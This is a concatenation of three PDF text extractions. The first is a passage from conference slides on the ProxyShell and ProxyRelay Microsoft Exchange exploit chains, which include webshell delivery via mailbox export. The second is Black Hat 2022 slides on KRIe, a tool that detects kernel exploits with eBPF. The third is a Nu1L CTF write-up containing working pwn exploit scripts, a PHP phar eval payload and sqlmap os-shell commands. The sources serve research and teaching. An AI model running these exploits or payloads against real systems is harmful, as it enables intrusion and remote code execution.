bytes2 = transform.TransformFinalBlock(array5, 0, array5.Length); } catch (CryptographicException arg8) { return; } } } HttpProxy\FbaModule.cs The Oracle protected enum LogonReason { None, Logoff, InvalidCredentials, Timeout, ChangePasswordLogoff } \FbaModule.cs Padding Error Padding Good Login Failure Login Success AES Decrypt /logon.aspx ?reason=2 Continue Login /logon.aspx ?reason=0 We can decrypt the cookies now But… How to get the client cookies? We discover a new XSS to chain together However, all sensitive cookies are protected by HttpOnly😥 Take Over Client Requests Visit page /foo.gif Send response Proxy page /foo.gif Send response Send malicious mail to victim Trigger the XSS Set SSRF cookie Victim Exchange Attacker Open malicious mail Redirect to XSS page 1 2 3 4 Demo https://youtu.be/VuJvmJZxogc ProxyShell • The exploit chain we demonstrated at Pwn2Own 2021 • An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an only exposed 443 port! • ProxyShell is chained with 3 bugs: • CVE-2021-34473 - Pre-auth Path Confusion leads to ACL Bypass • CVE-2021-34523 - Elevation of Privilege on Exchange PowerShell Backend • CVE-2021-31207 - Post-auth Arbitrary-File-Write leads to RCE Where ProxyShell Begin? 1. Request Section > CopyHeadersToServerRequest > CopyCookiesToServerRequest > AddProtocolSpecificHeadersToServerRequest 2. Proxy Section > GetTargetBackEndServerUrl > CreateServerRequest > GetServerResponse 3. Response Section > CopyHeadersToClientResponse > CopyCookiesToClientResponse BeginRequest AuthenticateRequest AuthorizeRequest MapRequestHandler EndRequest IHttpHandler LogRequest ProxyShell • ProxyShell started with a Path Confusion bug on Exchange Server Explicit Logon feature • The feature is designed to enable users to open another mailbox/calendar and display it in a new browser window • The Exchange parsed the mailbox address and normalized the URL internally https://exchange/OWA/[email protected]/Default.aspx 2 Extract Mailbox Address from URL 1 protected override AnchorMailbox ResolveAnchorMailbox() { if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) text = base.ClientRequest.Params["Email"]; // … this.isExplicitLogonRequest = true; this.explicitLogonAddress = text; } public static bool IsAutodiscoverV2PreviewRequest(string path) { return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase); } HttpProxy\EwsAutodiscoverProxyRequestHandler.cs The Fatal Erase protected override UriBuilder GetClientUrlForProxy() { string absoluteUri = base.ClientRequest.Url.AbsoluteUri; uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress); return new UriBuilder(uri); } public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) { string text = "/" + explicitLogonAddress; if (absoluteUri.IndexOf(text) != -1) return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length); } HttpProxy\EwsAutodiscoverProxyRequestHandler.cs 1 2 The actual part to be removed Explicit Logon pattern https://exchange/autodiscover/[email protected]/?& Email=autodiscover/autodiscover.json%[email protected] The actual part to be removed Explicit Logon pattern https://exchange/autodiscover/[email protected]/?& Email=autodiscover/autodiscover.json%[email protected] https://exchange:444/?& Email=autodiscover/autodiscover.json%[email protected] Arbitrary Backend Access Again! Exchange PowerShell Remoting • The Exchange PowerShell Remoting is a command-line interface that enables the automation of Exchange tasks • The Exchange PowerShell Remoting is built upon PowerShell API and uses the Runspace for isolations. All operations are based on WinRM protocol • Interact with the PowerShell Backend fails because there is no mailbox for the SYSTEM user • We found a piece of code extract Access-Token from URL Extract Access Token from URL 2 1 private void OnAuthenticateRequest(object source, EventArgs args) { HttpContext httpContext = HttpContext.Current; if (httpContext.Request.IsAuthenticated) { if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) { Uri url = httpContext.Request.Url; Exception ex = null; CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext. User.Identity.ToString(), url, out ex); } } } \Configuration\RemotePowershellBackendCmdletProxyModule.cs Extract Access Token from URL private CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) { CommonAccessToken result = null; string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri( requestURI).Get("X-Rps-CAT"); result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text)); return result; } \RemotePowershellBackendCmdletProxyModule.cs Privilege Downgrade • An Elevation of Privilege (EOP) because we can access Exchange PowerShell Backend directly • The intention of this operation is to be a quick proxy for Internal Exchange PowerShell communications • Specify the Access-Token in X-Rps-CAT to Impersonate to any user • We use this Privilege Escalation to "downgrade" ourself from SYSTEM to Exchange Admin Execute Arbitrary Exchange PowerShell as Admin And then? Attack Exchange PowerShell • The last piece of the puzzle is to find a post-auth RCE to chain together • Since we are Exchange admin now, It's easy to abuse the Exchange PowerShell command New-MailboxExportRequest to export user's mailbox into an UNC path New-MailboxExportRequest –Mailbox [email protected] –FilePath \\127.0.0.1\C$\path\to\shell.aspx Payload Delivery • How to embed the malicious payload into the exported file? • We deliver the malicious payloads by Emails (SMTP) but the file is encoded😢 • The exported file is in Outlook Personal Folders (PST) format, by reading the MS- PST documentation, we learned it's just a simple permutation encoding mpbbCrypt = [65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, …] encode_table = bytes.maketrans((bytearray(mpbbCrypt), bytearray(range(256))) '<%@ Page Language="Jscript"%>…'.translate(encode_table) \RemotePowershellBackendCmdletProxyModule.cs Put it All Together 1. Deliver our encoded WebShell payload by SMTP 2. Launch the native PowerShell and intercept the WinRM protocol • Rewrite the /PowerShell/ to /Autodiscover/ to trigger the Path Confusion bug • Add query string X-Rps-CAT with corresponding Exchange Admin Access Token 3. Execute commands inside the established PowerShell session • New-ManagementRoleAssignment to grant ourself Mailbox Import Export Role • New-MailboxExportRequest to write ASPX file into the local UNC path 4. Enjoy the shell Demo https://youtu.be/FC6iHw258RI Proxy-Related Attacks ProxyLogon • CVE-2021-26855 • CVE-2021-27065 ProxyNotFound • CVE-2021-28480 • CVE-2021-28481 ProxyToken • CVE-2021-33766 ProxyOracle • CVE-2021-31195 • CVE-2021-31196 ProxyRelay • CVE-2021-33768 • CVE-2021-TBA ProxyShell • CVE-2021-34473 • CVE-2021-34523 • CVE-2021-31207 ProxyNotFound • Exchange vulnerabilities reported by NSA (Dubbed by NCSC Vietnam) • CVE-2021-28480 - Pre-auth SSRF/ACL bypass • CVE-2021-28481 - Pre-auth SSRF/ACL bypass • Also under our new attack surface • The bug located at the FrontEnd of CAS • The root cause is similar to the pre-auth part of ProxyLogon but retrieving another user-supplied cookie as the BackEnd target ProxyNotFound: Arbitrary Backend Assignment protected override AnchoredRoutingTarget TryFastTargetCalculationByAnchorMailbox( AnchorMailbox anchorMailbox) { if (this.backEndCookie == null || !base.IsRetryOnErrorEnabled) { this.FetchBackEndServerCookie(); } BackEndServer backEndServer = anchorMailbox.AcceptBackEndCookie(this.backEndCookie) } private void FetchBackEndServerCookie() { foreach (string text in new string[] {"X-BackEndCookie", "X-BackEndCookie2"}) { // ... httpCookie.Values[text] = backEndCookieEntryBase.ToObscureString(); } } HttpProxy\BEServerCookieProxyRequestHandler.cs BASE64 Decode XOR with 0xFF server~x]@ex2019:444/mapi/nspi/?a.a#~ 1941962753~12/1/2021 12:25:12 AM Proxy-Related Attacks ProxyLogon • CVE-2021-26855 • CVE-2021-27065 ProxyNotFound • CVE-2021-28480 • CVE-2021-28481 ProxyToken • CVE-2021-33766 ProxyOracle • CVE-2021-31195 • CVE-2021-31196 ProxyRelay • CVE-2021-33768 • CVE-2021-TBA ProxyShell • CVE-2021-34473 • CVE-2021-34523 • CVE-2021-31207 ProxyToken • Exchange vulnerability reported by Le Xuan Tuyen of VNPT ISC (working with Zero Day Initiative) • CVE-2021-33766 - Authentication bypass • Exploit the "Delegated Authentication" feature in the CAS FrontEnd to perform configuration actions on users • Also under our new attack surface ;) • Install a mail forwarding rule to read any user's incoming mail The April Patch Kills (almost) All… Post-Proxy Era of MS Exchange • The pre-auth part of this new attack surface has been mitigated • The attack surface may not be as powerful as before :( • Is there any new hope? 1. The path confusion of ProxyShell is still alive 2. The mechanism between the FrontEnd and BackEnd is still interesting 3. Combine another level issues/features to rescue the auth bypass Proxy-Related Attacks ProxyLogon • CVE-2021-26855 • CVE-2021-27065 ProxyNotFound • CVE-2021-28480 • CVE-2021-28481 ProxyToken • CVE-2021-33766 ProxyOracle • CVE-2021-31195 • CVE-2021-31196 ProxyRelay • CVE-2021-33768 • CVE-2021-TBA ProxyShell • CVE-2021-34473 • CVE-2021-34523 • CVE-2021-31207 ProxyRelay • ProxyRelay is a set of authentication bypass attacks that allows an attacker to impersonate as any users (works perfectly after April Patch!) • CVE-2021-33768 • CVE-2021-TBA • ... • Exploit the NTLM-Relay to bypass the authentication of CAS Proxy • ProxyRelay = CAS Proxy + NTLM-Relay Problems to be Solved • NTLM-Relay requires the user to trigger the relay passively • Bypass: Printer-Bug for the rescue! • NTLM-Relay protection: Same-Host Reflection • Bypass: Exchange Cluster is common in corporations. We relay the NTLM of server-A to server-B so that it won't trigger any Same-Host detection! • NTLM-Relay protection: SMB Signing / Channel Binding • Bypass: We use SMB-to-HTTPS. Exchange disables the TLS Channel Binding by default! CVE-2021-33768 • MSRC acknowledges 2 researchers in the advisory • Tianze Ding (@D1iv3) with Tencent Security Xuanwu Lab • Orange Tsai (@orange_8361) from DEVCORE Research Team • The exploit concept: 1. Trigger the Printer-Bug on Exchange-A 2. Relay the NTLM to the FrontEnd of Exchange-B to bypass the CAS authentication 3. Forge the authorization part in EWS to impersonate as any user • The June 2021 patch mitigated the CVE by prohibiting Exchange Machine Account from authenticating in the FrontEnd CVE-2021-TBA • CVE-2021-TBA is another similar but more fundamental vulnerability • Report to MSRC at June 02, 2021 with 90(+30) days disclosure policy • After a discussion with MSRC, it looks like there are no quick and simple fixes, but design level changes. The patch should require an amount of time for preparation and testing • As a responsible researcher, sorry we decide NOT to disclose today Demo To Be Released Mitigations 1. Keep Exchange Server up-to-date 2. Do not externally face Exchange Server to the Internet (especially web) 3. About ProxyRelay, as to a design-level issue, your hands are tied :( • Stop Printer Spooler Service • Disable NTLM authentication (didn't check if there are any side-effects yet) 4. Move to Office 365 Exchange Online😏(Just kidding) orange_8361 [email protected] Thanks! https://blog.orange.tw
pdf
Return to sender Detecting kernel exploits with eBPF Guillaume Fournier August 2022 About me ● Cloud Workload Security (CWS) ● Leverage eBPF to detect threats ● Embedded in the Datadog Agent Blackhat 2022 Guillaume Fournier Senior Security Engineer @Datadog [email protected] 2 ● Context and threat model ● Why eBPF ? ● KRIe ○ SMEP & SMAP on a budget ○ Kernel security configuration ○ Kernel runtime alterations ○ Control flow integrity ○ Enforcement ● Performance Agenda 3 Context and threat model ● Critical CVEs are regularly discovered in the Linux Kernel ● Security administrators worry about: ○ Keeping up with security updates ○ Deploying security patches ○ Monitoring & protecting vulnerable hosts Blackhat 2022 4 Context and threat model ● Hundreds of ways to exploit the Linux kernel ● This talk targets 3 types of vulnerabilities: ○ Execution flow redirections ○ Logic bugs ○ Post compromise kernel runtime alterations The goal is to detect (and prevent ?) these attacks with eBPF Blackhat 2022 5 Context and threat model ● Hundreds of ways to exploit the Linux kernel ● This talk targets 3 types of vulnerabilities: ○ Execution flow redirection ○ Logic bugs ○ Post compromise kernel runtime alteration The goal is to detect (and prevent ?) these attacks with eBPF Make attackers’ lives a living hell 6 Blackhat 2022 What is eBPF ? ● Run sandboxed programs in the Linux kernel 7 Blackhat 2022 Why eBPF ? ● Relatively wide kernel support (4.1 +) depending on eBPF features ● System safety and stability insurances ● Rich feature set with easy to use introspection capabilities ● Some write access and enforcement capabilities 8 Blackhat 2022 Why eBPF ? Why is this a terrible idea ? ● Detecting post compromission is fighting a lost battle ● There are dozens of ways to disable an eBPF program ● eBPF can have a significant in kernel performance impact So what’s the point ? ● Script kiddies and OOTB rootkits ● Make it harder to exploit a flaw ● Detecting & blocking pre-compromission is sometimes possible 9 Blackhat 2022 ● Open source project ● Compile Once Run Everywhere ● Compatible with at least kernels 4.15+ to now ● First version released today ! Kernel Runtime Integrity with eBPF (KRIe) https://github.com/Gui774ume/krie 10 KRIe: SMEP & SMAP on a budget Scenario 1: the attacker controls the address of the next instruction executed by the kernel ● Textbook use case for Return Object Programming (ROP) attacks ● Supervisor Mode Access Prevention (SMAP) ● Supervisor Memory Execute Protection (SMEP) 11 Blackhat 2022 KRIe: SMEP & SMAP on a budget Scenario 1: the attacker controls the address of the next instruction executed by the kernel Kernel Executable code User space memory Addresses Bytecode Addresses Bytecode 12 Blackhat 2022 KRIe: SMEP & SMAP on a budget Attacker jumps to Kernel Executable code User space memory Addresses Bytecode Addresses Bytecode [@stack_pivot] xchg esp, eax ; ret Scenario 1: the attacker controls the address of the next instruction executed by the kernel 13 Blackhat 2022 KRIe: SMEP & SMAP on a budget Attacker jumps to Kernel Executable code User space memory Addresses Bytecode Addresses Bytecode [@stack_pivot] xchg esp, eax ; ret [@rop_chain] [@rop_chain+8] [@rop_chain+16] @gadget_1 0x42 @kernel_func Stack pivot Scenario 1: the attacker controls the address of the next instruction executed by the kernel 14 Blackhat 2022 KRIe: SMEP & SMAP on a budget Kernel Executable code User space memory Addresses Bytecode Addresses Bytecode [@stack_pivot] [@kernel_func] xchg esp, eax ; ret push %rbp [@rop_chain] [@rop_chain+8] [@rop_chain+16] @gadget_1 0x42 @kernel_func Attacker jumps to Stack pivot Execute a kernel function with attacker controlled parameters Scenario 1: the attacker controls the address of the next instruction executed by the kernel 15 Blackhat 2022 KRIe: SMEP & SMAP on a budget Attacker jumps to Kernel Executable code User space memory Addresses Bytecode Addresses Bytecode [@stack_pivot] [@kernel_func] xchg esp, eax ; ret push %rbp [@rop_chain] [@rop_chain+8] [@rop_chain+16] @gadget_1 0x42 @kernel_func Not possible with SMAP Scenario 1: the attacker controls the address of the next instruction executed by the kernel Stack pivot 16 Blackhat 2022 KRIe: SMEP & SMAP on a budget ● SMEP would have prevented the CPU from executing code in user space executable memory ● Our example ROP chain will eventually call: commit_creds(prepare_kernel_cred(0)) What can we do for machines without SMEP / SMAP ? 17 Blackhat 2022 KRIe: SMEP & SMAP on a budget ➔ Place a kprobe on “prepare_kernel_cred” and check if the Stack pointer / Frame pointer / Instruction pointer registers point to user space memory Demo (Ubuntu Bionic 18.04 - Kernel 4.15.0-189-generic - SMAP disabled) 18 Blackhat 2022 KRIe: SMEP & SMAP on a budget ● On a budget because: ○ Need to hook “all the functions called by exploits” ○ Blocking mode only works on 5.3+ kernels ○ An attacker will try to prevent our kprobe from firing … 19 Blackhat 2022 KRIe: SMEP & SMAP on a budget ● So … how can one disable a kprobe ? ○ echo 0 > /sys/kernel/debug/kprobes/enabled ○ sysctl kernel.ftrace_enabled=0 ○ Killing the user space process that loaded the kprobe 20 Blackhat 2022 KRIe: SMEP & SMAP on a budget ● So … how can one disable a kprobe ? ○ echo 0 > /sys/kernel/debug/kprobes/enabled ○ sysctl kernel.ftrace_enabled=0 ○ By killing the user space process that loaded the kprobe ➔ Let’s booby trap everything 🎉 21 Blackhat 2022 KRIe: Kernel security configuration 1) echo 0 > /sys/kernel/debug/kprobes/enabled ● Global switch that disarms all kprobes on a machine ● The ROP chain can be updated to call write_enabled_file_bool(NULL, “0”, 1, NULL) 22 Blackhat 2022 KRIe: Kernel security configuration ● Global switch that disarms all kprobes on a machine ● The ROP chain can be updated to call write_enabled_file_bool(NULL, “0”, 1, NULL) ➔ Let’s put a kprobe on it 🎉 23 Blackhat 2022 1) echo 0 > /sys/kernel/debug/kprobes/enabled KRIe: Kernel security configuration ● Even when enabled, a kprobe can still be bypassed: @write_enabled_file_bool - No kprobe @write_enabled_file_bool - With a kprobe 0x0: nop dword ptr [...] 0x5: push %rbp 0x6: mov %rsp,%rbp 0x9: push %r14 0xb: push %r13 0xd: push %r12 … 0x0: callq 0xffffffff81a01cf0 0x5: push %rbp 0x6: mov %rsp,%rbp 0x9: push %r14 0xb: push %r13 0xd: push %r12 … 24 Blackhat 2022 1) echo 0 > /sys/kernel/debug/kprobes/enabled KRIe: Kernel security configuration @write_enabled_file_bool - No kprobe @write_enabled_file_bool - With a kprobe 0x0: nop dword ptr [...] 0x5: push %rbp 0x6: mov %rsp,%rbp 0x9: push %r14 0xb: push %r13 0xd: push %r12 … 0x0: callq 0xffffffff81a01cf0 0x5: push %rbp 0x6: mov %rsp,%rbp 0x9: push %r14 0xb: push %r13 0xd: push %r12 … Jump here with the ROP chain ● Even when enabled, a kprobe can still be bypassed: 25 Blackhat 2022 1) echo 0 > /sys/kernel/debug/kprobes/enabled KRIe: Kernel security configuration ➔ Booby trap the function at random offsets 🎉 @write_enabled_file_bool - No kprobe @write_enabled_file_bool - With kprobe(s) 0x0: nop dword ptr [...] 0x5: push %rbp 0x6: mov %rsp,%rbp 0x9: push %r14 0xb: push %r13 0xd: push %r12 … 0x0: callq 0xffffffff81a01cf0 0x5: push %rbp 0x6: callq 0xffffffff81a01cf0 0xb: push %r13 0xd: callq 0xffffffff81a01cf0 … 26 Blackhat 2022 1) echo 0 > /sys/kernel/debug/kprobes/enabled KRIe: Kernel security configuration ● “write_enabled_file_bool” writes 0 or 1 to a global variable called “kprobes_all_disarmed” ● An attacker could try to write 1 to it directly 27 Blackhat 2022 1) echo 0 > /sys/kernel/debug/kprobes/enabled KRIe: Kernel security configuration ● “write_enabled_file_bool” writes 0 or 1 to a global variable called “kprobes_all_disarmed” ● An attacker could try to write 1 to it directly ➔ We can use a BPF_PROG_TYPE_PERF_EVENT program to periodically check the values of all sensitive kernel parameters 🎉 28 Blackhat 2022 1) echo 0 > /sys/kernel/debug/kprobes/enabled KRIe: Kernel security configuration ● There is an eBPF program type dedicated to monitoring and enforcing sysctl commands : BPF_PROG_TYPE_CGROUP_SYSCTL (kernels 5.2+) ● (Almost) all sysctl parameters are checked by KRIE’s periodical check 2) sysctl kernel.ftrace_enabled=0 29 Blackhat 2022 KRIe: Kernel runtime alterations ● Insert a rogue kernel module ● Hook syscalls to hide their tracks ○ Using kprobes ○ By hooking the syscall table directly ● BPF filters are used to silently capture network traffic ● eBPF programs can also be used to implement rootkits Scenario 2: the attacker is root on the machine and wants to persist its access by modifying the kernel runtime 30 Blackhat 2022 KRIe: Kernel runtime alterations ➔ KRIE monitors: ◆ All bpf() operations and insertion of BPF filters ◆ Kernel module load / deletion events ◆ K(ret)probe registration / deletion / enable / disable / disarm events ◆ Ptrace events ◆ Sysctl commands ◆ Execution of hooked syscalls … and more to come ! Scenario 2: the attacker is root on the machine and wants to persist its access by modifying the kernel runtime 31 Blackhat 2022 KRIe: Kernel runtime alterations ➔ All syscall tables are checked periodically with the BPF_PROG_TYPE_PERF_EVENT program trick ➔ KRIE is also able to detect and report when a process executes a hooked syscall Demo (Ubuntu Jammy 22.04 - Kernel 5.15.0-43-generic) 32 Blackhat 2022 KRIe: Control flow Integrity (CFI) ● Locks down the execution flows in the kernel by controlling call sites at runtime ● Usually added at compile time or implemented in hardware ● CFI is a great way to prevent ROP attacks ● These features aren’t always available; specifically the hardware ones 33 Blackhat 2022 KRIe: Control flow Integrity (CFI) ➔ KRIE locks down jumps between control points ➔ Both hook points and parameters are checked 34 Blackhat 2022 KRIe: Control flow Integrity (CFI) Graph generated with utrace: https://github.com/Gui774ume/utrace Kernel stack traces to commit_creds KRIe: Control flow Integrity (CFI) The goal: ● Catch malicious calls to sensitive functions (via ROP) ● Detect logic bugs But: ● Tedious process ● Hook points limitations 36 Blackhat 2022 KRIe: Enforcement ● KRIE enables blocking features when available: ○ bpf_override_return helper (4.16+) ○ BPF_PROG_TYPE_CGROUP_SYSCTL programs (5.2+) ○ bpf_send_signal helper (5.3+) ○ LSM programs (5.7+) ● Every detection is configurable: ○ Log ○ Block ○ Kill ○ Paranoid 37 Blackhat 2022 Performance User space CPU time Kernel space CPU time Total elapsed time Without KRIe 4,320s 88% 568s 12% 5:53.14 With KRIe (all features) 4,517s 68% 2,097s 32% 8:15.76 +4.5% +270% +40% With KRIe (syscall hook check disabled on syscall entry) 4,380s 88% 585s 12% 5:58.36 +1% +3% +1% ● 2 parts to consider ● Linux kernel compilation time 38 Blackhat 2022 (Benchmark run on a 5.15.0 kernel, 11th Gen Intel(R) Core(TM) i9-11950H @ 2.60GHz, 32GB of RAM, average on 10 iterations) Thanks ● Powerful defensive tools can be implemented with eBPF ● eBPF is not really the ideal technology to detect kernel exploits ● KRIe is realistically a last resort, not a bulletproof strategy https://github.com/Gui774ume/krie 39
pdf
WriteUp By Nu1L Author:Nu1L WriteUp By Nu1L PWN wind_farm_panel shell Misc babymaze2_beta babymaze1 WEB hello_php ezcms easyci Crypto babyLWE digits_missing RE friendlyRE PWN wind_farm_panel free, Orange+FSOP from pwn import * # s = process("./pwn") s = remote("182.92.203.154","28452") def add(idx,size,buf): s.sendlineafter("3.Modify wind turbine information","1") s.sendlineafter("Please enter the wind turbine to be turned on(0 ~ 5): ",str(idx)) s.sendlineafter("lease input the maximum power of this wind turbine:",str(size)) s.sendafter("Your name: ",buf) def edit(idx,buf): s.sendlineafter("3.Modify wind turbine information","3") s.sendlineafter("Which turbine: ",str(idx)) s.sendafter("Please input: ",buf) def show(idx): s.sendlineafter("3.Modify wind turbine information","2") s.sendlineafter("Please select the number of the wind turbine to be viewed: ",str(idx)) add(0,0x200,'1\n') edit(0,'A'*0x200+p64(0)+p64(0xdf1)) add(1,0x1000,'\n') add(2,0x200,'\n') show(2) offset = u64(s.recvuntil("\x7f")[-6:]+"\x00\x00")-0x3c510a success(hex(offset)) libc = ELF("./libc-2.23.so",checksec=False) libc.address = offset _IO_list_all = libc.sym['_IO_list_all'] _IO_str_jumps = libc.address+0x3c37a0 system = libc.sym['system'] sh = next(libc.search("/bin/sh")) context.arch='amd64' fmt = FileStructure() fmt._IO_buf_base = sh fmt._IO_write_ptr = 1 fmt.vtable = _IO_str_jumps-8 payload = str(fmt).ljust(0xe8,'\x00')+p64(system) payload = payload[0x20:] print(len(payload)) edit(2,'A'*0x200+p64(0xfbad2084)+p64(0x61)+p64(0)+p64(_IO_list_all- 0x10)+payload+"\n") s.sendlineafter("3.Modify wind turbine information","1") s.sendlineafter("Please enter the wind turbine to be turned on(0 ~ 5): ","4") s.sendlineafter("lease input the maximum power of this wind turbine:",str(0x100)) s.interactive() shell bg Misc from pwn import * # s = process("./pwn") s = remote("182.92.203.154","35264") def bg(buf): tmp = "bg %1"+buf s.sendlineafter("$ ",tmp) bg("AAAA%12$pBBBB") s.recvuntil("AAA") elf = ELF("./pwn") tmp = int(s.recvuntil("BBBB",drop=True),16)-0x153b elf.address = tmp success(hex(tmp)) # gdb.attach(s,"b *$rebase(0x1616)\nc") bg("AAAA%304$pBBBB") s.recvuntil("AAA") tmp = int(s.recvuntil("BBBB",drop=True),16) libc = ELF("./libc-2.23.so") offset = tmp-0x20840 libc.address = offset success(hex(libc.address)) #174 context.arch = 'amd64' atoi_got = elf.got['strcmp'] system = libc.sym['system'] payload = fmtstr_payload(174,{atoi_got:system},numbwritten=6) bg('AAA'+payload) s.sendline("/bin/shh\x00") s.interactive() 8 babymaze2_beta __import__('os').system('cat flag') babymaze1 from pwn import * context.log_level = 'debug' import fuckpy3 dirs=[(0,1),(1,0),(0,-1),(-1,0)] path=[] def mark(maze,pos): maze[pos[0]][pos[1]]=2 def passable(maze,pos): return maze[pos[0]][pos[1]]==0 def find_path(maze,pos,end): mark(maze,pos) if pos[0]==end[0] and pos[1] == end[1]: print(pos,end=" ") path.append(pos) return True for i in range(4): nextp=pos[0]+dirs[i][0],pos[1]+dirs[i][1] if passable(maze,nextp): if find_path(maze,nextp,end): print(pos,end=" ") path.append(pos) return True return False def see_path(maze,path): for i,p in enumerate(path): if i==0: maze[p[0]][p[1]] ="E" elif i==len(path)-1: maze[p[0]][p[1]]="S" else: maze[p[0]][p[1]] =3 print("\n") for r in maze: for c in r: if c==3: print('\033[0;31m'+"*"+" "+'\033[0m',end="") elif c=="S" or c=="E": print('\033[0;34m'+c+" " + '\033[0m', end="") elif c==2: print('\033[0;32m'+"#"+" "+'\033[0m',end="") elif c==1: print('\033[0;;40m'+" "*2+'\033[0m',end="") else: print(" "*2,end="") print() def format_path(): global path res = '' path = path[::-1] for i in range(len(path) - 1): t1 = path[i + 1][0] - path[i][0] t2 = path[i + 1][1] - path[i][1] if t1 == -1 and t2 == 0: res += 'w' elif t1 == 1 and t2 == 0: res += 's' elif t2 == -1 and t1 == 0: res += 'a' elif t2 == 1 and t1 == 0: res += 'd' return res if __name__ == '__main__': # s = '''##################### # #*# # # # # # # # # ####### # # # # # # # # # # # # # # # # # ### # ######### # # # # # # # # # # # # # # # ##### # # # # # # # # # # # ##### # ### ####### # # # $# # ##################### # ''' p = remote('182.92.203.154', 11001) p.recvuntil('start.') p.clean() p.sendline('') while True: twitterhttps://github.com/beurtschipper/Depix try: p.recvuntil('\n') s = p.recvuntil('>',drop=True).str() w = 0 h = 0 maze = [] tmp_rol = [] start = None end = None for i in s: if i == '\n': maze.append(tmp_rol[:]) tmp_rol = [] h += 1 w = 0 continue if i == '#': tmp_rol.append(1) if i == ' ': tmp_rol.append(0) if i == '*': tmp_rol.append(0) start = [h,w] if i == '$': tmp_rol.append(0) end = [h,w] w += 1 find_path(maze,start,end) see_path(maze,path) p.sendline(format_path()) p.recvuntil('win') except: p.interactive() flag{0123468abd68abd0123} WEB hello_php <?php $title = "1'.eval(\$_POST[a]).'a"; $comment = 456; class Config{ public $title; public $comment; public $logo_url; public function __construct($title, $comment){ $this->title= $title; $this->comment = $comment; } } $config = new Config($title, $comment); $o = $config; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //phar ezcms this is a good cms www.zipadminadmin868https://github.com/yzmcms/yzmcms /issues/53 SSRFflag $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //stub $phar->setMetadata($o); //meta-datamanifest $phar->addFromString("test.txt", "test"); // // $phar->stopBuffering(); admin/admin https://lhlh22.github.io/2020/10/22/Seacms-v10-1-getshell/# ` include "/flag"; easyci sqlmap -u http://eci-2zeif2i58ec6t8u2fuq2.cloudeci1.ichunqiu.com/public/index.php/home/login -- data "username=admin&password=admin" —sql-shell /etc/apache2/sites-enabled/000-default.conf web /var/sercet/html/ —os-shell flag find / -type -f -name "flag" /etc/yooooflagggggggggggg Crypto babyLWE from sage.modules.free_module_integer import IntegerLattice from random import randint import sys from itertools import starmap from operator import mul # Babai's Nearest Plane algorithm # from: http://mslc.ctf.su/wp/plaidctf-2016-sexec-crypto-300/ def Babai_closest_vector(M, G, target): small = target for _ in range(1): for i in reversed(range(M.nrows())): c = ((small * G[i]) / (G[i] * G[i])).round() small -= M[i] * c return target - small m = 64 n = 32 q = 8934325385505568130914092337950620590424921674062792756625169144539462888362199 042365894202712873706261308891694743761726859424971637596576879385466842113 L = [((6574319294169376217290272712644353118808363881943632671702551822145169297727 219711072338293175764081263208060165971290945515950187840574935196860417703023, 7709170280787311967701745097333138330436033179699476267863620226208496717424513 479304619618806302361203325927840342701868617257376328388885923346972935925, 8721700768606733325148971885730549579301648189909354677869187058619691171514977 226643349044839924735649482277308269717525836644072902004122841903522013978, 4443012179718797325882393244663641099669391785373483976464490822605210115668103 071132797609852228695432061855000510820871584657388399863762117930576908503, 8237919278740105082110916487550810695225403866009029540200550335281084598118763 515045734516215792314388989698587725351009787394739481466670908282096762067, 4129075644199937271909739795842674570241295805855567186062249355096288779917586 590501120283581745236759739162982404140606368400817566496007676287560852821, 7353033108017229675149266859880794028272947519430844000706288163594988837324973 824858914847573172532575877060294857317139288440833472924953239054493635188, 1866621560740433217784203248619590319954905186074710390887469106431277348350644 702190836523097729549015353596891208268616066783747250599854482391817442556, 1305227916610291296940725601923877282679267585273609626146742609355922569892916 075803403739065669386085502584423795087076346971520740565277570534275504728, 5157143079688108468893389372816465720565875000802307134123560024932198112182002 285870933122982676835070044171497943634824858190962976371983560744955223062, 7808718506837271785005730385294847779197430226375021454567729448701446312509346 513919323969332895320359408873781522403323614479524211705563271574555890818, 8750392650267647860082261228258813200119877295882398239157783296327130124836792 868761207379360022008803671267558369730785980323658717954645199794849340378, 5659165079865408515260891989670511326815244035300777955987391031159168055914876 646123437195508534012267022636923561753380337400455354639948639608792848118, 2876550083419772827703025704783953616312268526261199501531484346118492039890346 957915041887978375378610972283383873206472790658715012200405024262073451037, 7750702090585359773503915558026074515483701159166898138481719186952334398762259 212307375709578958449535588105721084853847073127615713950846283654023740628, 4004167872882871782446592662377258619069664719491954068750487906059347279655723 70497094615945221922188145792368498889640556506930321431246959560238436737, 7323289292799258951941329190101713184994486824353158398445508551681506250053610 884250598617391127626822308232574463371513068136239828617048797313987833201, 5345530480240586887924016812964498647900141086868027455372223957227299315998653 59141717746895388039987613786777533546472685129633082432546746523556224660, 4756313072652529457633783404128009258653984332518200845814371767235321942200308 750377588237779471892569961280501672316364304822191341906182964834634881174, 8455758550227004378663382521160408687859765249208404437366472751984551210158115 399991698994566529546099855402426952132165156954153714161853905821928948740, 8288742628879603435639689713946934668483204825835814281639016565359382687351109 558177720998503622363598664461795358404045205163117090091640421658181039118, 7330951008172423934138923142911248107370960025138321896360314303568425749586899 340339237499681967115077044891745208904401903051133302607020270006721070464, 6045754541048966680270904380672020408376627696069832247971458750829433974542499 455751205839165763315961824462826503129402989895709231007172041613022195200, 7380419976210512922234766629285968511269689288679275868156317303756201660729237 979821484070720591203280500962365239248515324521721219356301695326363258199, 7227605460186150051055625396451288534298035279881053435547198384309405659398735 184546610264867440982679819589127244990833028997991012195194942241017906172, 8196910805313563786943719444387022330028978125052587414409249899815350082603337 582978763053265386554183834299281800045870958632518349777446244999624666178, 8485447809882312383386975456500594071588050321866905032141560929626646888400112 696569289582399051078228830205057602125217761894907468873834718201842841051, 6195645580532206637593990864406540505983404413774662767246074337851528249060660 